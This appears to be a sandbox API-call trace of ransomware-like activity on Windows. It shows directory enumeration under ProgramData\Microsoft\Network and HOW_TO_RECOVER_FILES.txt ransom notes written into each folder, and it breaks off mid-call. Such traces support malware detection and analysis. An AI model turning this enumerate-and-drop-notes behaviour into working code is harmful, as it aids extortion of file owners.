[0105.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0105.552] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x2f [0105.553] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.553] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.554] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.554] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0105.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0105.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0105.554] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x2f [0105.554] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.554] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.554] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.554] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0105.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0105.555] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0105.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0105.555] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\Cm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\cm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0105.555] GetFileType (hFile=0x7dc) returned 0x1 [0105.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0105.555] GetFileType (hFile=0x7dc) returned 0x1 [0105.556] WriteFile (in: hFile=0x7dc, lpBuffer=0x3672310*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3672310*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0105.557] CloseHandle (hObject=0x7dc) returned 1 [0105.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0105.557] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", lpFilePart=0x0) returned 0x33 [0105.557] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.599] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.600] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.600] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0105.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0105.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0105.600] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old", lpFilePart=0x0) returned 0x33 [0105.600] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.600] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.600] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0105.601] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0105.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0105.601] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0105.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0105.601] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\CM_old\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\cm_old\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0105.601] GetFileType (hFile=0x7dc) returned 0x1 [0105.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0105.601] GetFileType (hFile=0x7dc) returned 0x1 [0105.602] WriteFile (in: hFile=0x7dc, lpBuffer=0x37019b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x37019b0*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0105.603] CloseHandle (hObject=0x7dc) returned 1 [0105.603] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0105.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0105.603] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0105.604] GetFileType (hFile=0x7dc) returned 0x1 [0105.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0105.604] GetFileType (hFile=0x7dc) returned 0x1 [0105.605] WriteFile (in: hFile=0x7dc, lpBuffer=0x3705288*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3705288*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0105.606] CloseHandle (hObject=0x7dc) returned 1 [0105.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.606] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0105.606] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1cdb6407, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc63d09b3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.db", cAlternateFileName="")) returned 1 [0105.607] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1 [0105.608] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.608] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0105.608] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0105.608] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.608] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.608] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1cdb6407, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0105.608] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e4d293, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5e734dc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc63d09b3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.db", cAlternateFileName="")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 1 [0105.609] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576d0867, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr.jfm", cAlternateFileName="")) returned 0 [0105.610] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0105.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0105.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0105.610] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), fInfoLevelId=0x0, lpFileInformation=0x3715548 | 